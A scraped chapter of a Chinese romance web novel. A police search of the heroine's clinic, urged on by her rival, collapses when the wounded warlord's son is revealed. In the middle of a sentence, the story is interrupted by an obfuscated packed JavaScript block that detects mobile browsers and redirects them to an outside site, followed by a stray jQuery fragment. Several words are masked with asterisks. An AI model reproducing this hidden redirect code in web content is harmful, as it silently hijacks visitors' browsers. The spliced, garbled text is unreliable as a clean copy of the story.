第16章 搜查风波

作品:《重生之少帅的掌心娇医

    济世堂,前堂。


    原本秩序井然的诊堂此刻一片狼藉。


    几名穿着黑制服、背着**的巡捕粗暴地推搡着正在排队的病人,踢翻了熬药的小炉子。药汤泼了一地,苦涩的味道混杂着泥土腥气,在这闷热的午后令人作呕。


    “都给老子让开!巡捕房办案!”


    领头的是个满脸横肉的探长,姓王,手里拎着一根警棍,正神气活现地指挥着手下清场。


    而在王探长身边,站着一个穿着粉色洋装、涂着猩红口红的女人。


    正是沈雨柔。


    相比于半个月前在婚礼上的狼狈,今天的沈雨柔似乎找回了些许“底气”。她昂着下巴,眼神轻蔑地扫视着这间破旧的药铺,最后落在正从后院走出来的沈晚清身上。


    “哎哟,姐姐,好大的架子啊。”


    沈雨柔用手帕捂着鼻子,阴阳怪气地说道,“这生意做得是不错,只可惜,是个藏污纳垢的地方。”


    沈晚清站在台阶上,身后跟着一脸怒容的阿福和几个早就握紧了拳头的伙计。


    她刚刚还在后院被那个男人“调戏”,此刻脸上那点不易察觉的红晕早已褪去,取而代之的是一脸寒霜。


    “沈雨柔,你是嫌上次婚礼上的录音还没听够?”


    沈晚清冷冷地看着她,“还是说,沈志远那个骗子没钱给你买胭脂水粉,让你跑我这儿来打秋风?”


    听到“录音”和“骗子”,沈雨柔的脸色瞬间扭曲了一下。那是她这辈子的耻辱!


    但很快,她又笑了起来,笑得有些狰狞:“沈晚清,你别得意!你以为你勾搭上了洋人和康会长,我就拿你没办法了?”


    她挽住旁边王探长的胳膊,那姿态亲密得让人作呕:“这位是法租界巡捕房的王探长。我们接到确切举报,你这济世堂后院,窝藏了被通缉的要犯!”


    “窝藏逃犯?”


    沈晚清挑了挑眉,目光落在那个王探长身上,“王探长是吧?饭可以乱吃,话可不能乱说。我这里是医馆,只藏病人,不藏犯人。”


    “少废话!”王探长被沈晚清那清冷的目光看得有些发毛,但一想到沈雨柔许诺的那笔巨额“线人费”,便硬着头皮喝道,“有人亲眼看见昨晚有不明身份的卡车进了你的后院!而且,那个人受了枪伤!沈小姐,如果你心里没鬼,就让我们搜一搜!”


    “搜?”


    沈晚清往前一步,挡在了通往后院的门帘前。


    “这里是治病救人的地方,后院更是重症监护区,需要绝对的无菌环境。你们这一身尘土细菌冲进去,要是病人有个三长两短,王探长,你担得起这个责任吗?”


    她搬出了康德海这尊大佛:“前两天康会长刚送了牌匾,说保我济世堂平安。王探长今天带人来砸场子,是不给康会长面子,还是不给商会面子?”


    王探长愣了一下。康德海他确实惹不起。


    “别听她吓唬人!”沈雨柔见王探长犹豫,急忙煽风点火,“探长,那个逃犯可是北方那边的大人物!要是抓住了,赏金可是好几万大洋!跟这笔钱比起来,康德海算什么?再说了,只要坐实了她窝藏**,康德海还会保一个阶下囚吗?”


    几万大洋的赏金。


    这个诱惑太大了。


    王探长眼中的贪婪战胜了恐惧。


    “给我搜!”王探长把心一横,挥舞着警棍,“谁敢阻拦,以妨碍公务罪论处!那个什么无菌区,老子今天偏要闯一闯!”


    “我看谁敢!”


    阿福和赵龙带着几个丐帮兄弟冲了上来,挡在前面。


    “哗啦——”


    巡捕们纷纷拉动**,黑洞洞的枪口对准了手无寸铁的伙计们。


    局势一触即发。


    沈晚清藏在袖子里的手,紧紧握住了那块黑色的铁牌。


    她在赌。


    赌陆淮锦的威慑力,也赌这块牌子的分量。


    但就在她准备亮牌的一瞬间,沈雨柔已经趁乱像个疯婆子一样冲到了最前面,一把掀开了通往后院的厚重棉门帘。


    “我看你往哪儿藏!野男人就在里面吧!”


    沈雨柔兴奋地尖叫着,带着几个巡捕冲进了后院。


    沈晚清心头一沉。


    拦不住了。


    后院,那间紧闭着窗帘的厢房门口,宋副官并不在那里。


    此时,房门紧闭。


    “就在那间房!”沈雨柔指着那间透着药味的屋子,“我闻到血腥味了!肯定在那!”


    王探长一听有血腥味,更加确信是受伤的逃犯,立刻带着人包抄过去,一脚踹向了那扇雕花的木门。


    “砰!”


    木门应声而开。


    所有人都屏住了呼吸,枪口齐刷刷地对准了屋内。


    沈雨柔更是瞪大了眼睛,迫不及待地想要看到沈晚清身败名裂的画面。


    然而,屋内并没有想象中惊慌失措的逃犯,也没有什么野男人躲在床底下的狼狈景象。


    昏暗的光线下,只有一个男人。


    他背对着门口,坐在一把旧藤椅上,身上披着一件宽大的黑色丝绸睡袍,正面对着窗户,手里似乎在把玩着什么东西。


    即便只是一个背影,那种如山岳般沉稳、又如深渊般危险的气场,却让冲进来的巡捕们本能地停下了脚步。


    “举起手来!转过身!”王探长咽了口唾沫,厉声喝道。


    那男人没有动。


    “我让你转过身!”王探长有些恼羞成怒,端着枪就要冲进去。


    “滚。”


    只有一个字。


    声音不高,甚至带着几分慵懒和被打扰的不悦,但听在众人耳中,却像是一道惊雷炸响。


    紧接着,那个男人缓缓转过了头。


    借着门口射入的光线,王探长终于看清了那张脸。


    那是一张极其英俊却又极其冷酷的脸。剑眉星目,鼻梁高挺,只是脸色有些苍白。


    但最让王探长魂飞魄散的,不是他的脸,而是他手里把玩的那样东西——


    那是一把黄金握把的**,枪身上刻着一只狰狞下山的猛虎。


    “虎……虎头枪?!”


    王探长的腿瞬间就软了。


    作为在海城混迹多年的老油条,他怎么可能不知道这把枪的主人是谁?


    北方的那位“活阎王”,奉系军阀的少帅,陆淮锦!


    传闻他**如麻,脾气暴躁,最恨别人拿枪指着他。


    而自己现在……


    “当啷”一声。


    王探长手里的警棍掉在了地上。


    紧接着,他“噗通”一声跪了下来,膝盖磕在青砖地上,发出一声脆响。


    “陆……陆……少帅?!”


    这一跪,把后面的沈雨柔给跪懵了。


    “探长?你干什么?”沈雨柔不可置信地尖叫,“抓人啊!他就是那个逃犯!你看他手里有枪!”


    “闭嘴!你想害死我吗?!”


    王探长回手就是一巴掌,狠狠抽在沈雨柔脸上,“啪”的一声,把沈雨柔打得原地转了个圈,嘴角瞬间渗出了血。


    “这哪里是什么逃犯!这是北方的陆少帅!”王探长浑身抖如筛糠,冷汗瞬间浸透了后背。他现在只想把沈雨柔这个蠢女人掐死。谁告诉他这是个通缉犯?这是祖宗啊!


    陆淮锦坐在椅子上,眼神淡漠地扫过跪在地上的王探长,最后落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935504|192885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在捂着脸发呆的沈雨柔身上。


    “刚才,是谁说这里藏了野男人?”


    他缓缓抬起手,黑洞洞的枪口随意地指向了沈雨柔。


    沈雨柔被那冰冷的杀气锁定,吓得两腿一软,直接瘫坐在地上。


    “我……我……”


    她看着眼前这个气场强大的男人,虽然受了伤,但那股子上位者的威压根本掩饰不住。


    这就是那个传说中的……陆少帅?


    那个沈晚清救回来的野男人,竟然是统领三十万大军的少帅?!


    嫉妒、恐惧、绝望,瞬间淹没了她。凭什么?凭什么沈晚清那个**运气这么好!随便救个人都是这种通天的大人物!


    这时候,沈晚清不紧不慢地从外面走了进来。


    她看了一眼跪在地上的王探长,又看了一眼像死狗一样的沈雨柔,最后目光落在陆淮锦身上。


    男人正似笑非笑地看着她,眼神里写着:这场戏,好看吗?


    沈晚清心里叹了口气。


    这就叫“降维打击”吧。


    “王探长。”沈晚清走到王探长面前,居高临下地看着他,“现在,还要搜吗?”


    “不搜了!不搜了!”王探长磕头如捣蒜,“沈小姐!我有眼无珠!我是被这个疯女人骗了!您大人有大量,求您跟少帅求个情,别杀我!”


    他知道,只要陆淮锦动动手指,他全家都得从海城消失。


    沈晚清没有理会他的求饶,而是转头看向陆淮锦:


    “少帅,这毕竟是济世堂,见了血不吉利。”


    陆淮锦挑了挑眉,收回了枪。


    “既然沈老板开口了,那就滚吧。”


    他厌恶地挥了挥手,“不过,这个女人太吵了。以后我不想在海城这块地界上,再听到她的声音。”


    这句轻描淡写的话,直接判了沈雨柔的**。


    不是**,却比**更难受——那是彻底的**和流放。


    “是!是!属下明白!”王探长如蒙大赦,从地上爬起来,一把揪住沈雨柔的头发,像拖死狗一样往外拖。


    “不!我不走!我是沈家二小姐!我是留洋博士的未婚妻……”沈雨柔凄厉地惨叫着,双手在地上乱抓,留下一道道血痕。


    但根本没人理会她。


    那些原本气势汹汹的巡捕们,此刻恨不得多生两条腿,逃命似地冲出了济世堂。


    一场危机,就在陆淮锦的一个眼神下,消弭于无形。


    后院重新恢复了安静。


    沈晚清看着那扇被踹坏的木门,有些心疼。


    “这门可是红木的,很贵。”她转头看向陆淮锦。


    陆淮锦把玩着手里的枪,嘴角勾起一抹无赖的笑:


    “记账。算在刚才那五块大洋里。”


    沈晚清气笑了。


    她走过去,看着他苍白的脸色:“刚才装得挺像那么回事,伤口没裂吧?”


    “裂了。”


    陆淮锦突然伸手,一把将她拉到了自己腿上坐下。


    “啊!”沈晚清惊呼一声,下意识地想要站起来,却被他死死扣住腰肢。


    “别动。”


    陆淮锦的声音变得有些疲惫和依赖,“刚才那帮废物吵得我头疼。让我抱一会儿。”


    沈晚清浑身僵硬。


    她能感觉到他滚烫的体温,还有那透过丝绸睡袍传来的心跳声。


    这一次,她没有推开他。


    她想起刚才沈雨柔那个绝望的眼神,想起王探长那个恐惧的磕头。


    这就是权势。


    在这个乱世,医术能救人,但只有权势,才能护人。


    而现在,这个拥有最大权势的男人,正虚弱地靠在她的怀里。